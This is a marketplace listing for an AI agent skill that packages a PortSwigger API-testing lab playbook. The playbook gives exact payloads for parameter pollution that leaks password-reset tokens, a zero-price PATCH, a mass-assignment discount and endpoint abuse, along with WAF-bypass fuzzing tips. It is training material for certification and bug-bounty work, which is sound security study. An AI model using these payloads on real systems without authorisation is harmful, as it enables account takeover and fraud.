# API Testing — Deep Dive

> Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

- **Type:** Skill
- **Install:** `agentstack add skill-shulkwisec-bb-huge-api-testing-labs`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [ShulkwiSEC](https://agentstack.voostack.com/s/shulkwisec)
- **Installs:** 0
- **Category:** [Agent Skills](https://agentstack.voostack.com/c/agent-skills)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [ShulkwiSEC](https://github.com/ShulkwiSEC)
- **Source:** https://github.com/ShulkwiSEC/bb-huge/tree/main/skills/curated/api-testing-labs

## Install

```sh
agentstack add skill-shulkwisec-bb-huge-api-testing-labs
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# API Testing — Deep Dive

> **Deep-Dive Lab Playbook** — Every PortSwigger lab variant with exact payloads,
> bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

## When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques

## Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured

## Workflow
### Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
### Phase 2: Exploitation
- Apply standard lab payloads.
### Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.

## Lab Playbooks

### Lab 1: Exploiting documentation 🟢 APPRENTICE
Find `/api` docs endpoint → discover `/api/user/carlos` DELETE endpoint → delete user.
---

### Lab 2: Server-side param pollution query 🟡 PRACTITIONER
```http
POST /forgot-password HTTP/1.1

username=administrator%26field=reset_token
```
`%26` = `&` → injects additional parameter into server-side API call → leaks reset token.
---

### Lab 3: Unused API endpoint 🟡 PRACTITIONER
Change `GET /api/products/1/price` to `PATCH` method:
```json
{"price":0}
```
→ Buy product for $0.
---

### Lab 4: Mass assignment 🟡 PRACTITIONER
```json
{"chosen_discount":{"percentage":100}}
```
Include discount object in checkout request → 100% discount applied.
---

### Lab 5: Param pollution REST URL 🟡 PRACTITIONER
```
username=administrator#
```
Server constructs: `/api/users/administrator#/field` → `#` truncates path → returns full user object with token.
---

## Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.

## Zero-Day Research
When standard technique fails:
1. Identify the filter/WAF
2. Fuzz with Burp Intruder custom wordlists
3. Search GitHub/Twitter for new bypasses
4. Chain with other vulns for escalation
5. Try encoding variants: URL, double-URL, unicode, hex

## Key Concepts
| Concept | Description |
|---------|-------------|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |

## Output Format
```
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
```

## 🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.

## 🛡️ Remediation & Mitigation Strategy
- **Input Validation:** Sanitize and strictly type-check all inputs.
- **Least Privilege:** Constrain component execution bounds.

## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- [PortSwigger Labs](https://portswigger.net/web-security/all-labs)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
- [HackTricks](https://book.hacktricks.xyz/)

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [ShulkwiSEC](https://github.com/ShulkwiSEC)
- **Source:** [ShulkwiSEC/bb-huge](https://github.com/ShulkwiSEC/bb-huge)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** no
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-shulkwisec-bb-huge-api-testing-labs
- Seller: https://agentstack.voostack.com/s/shulkwisec
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.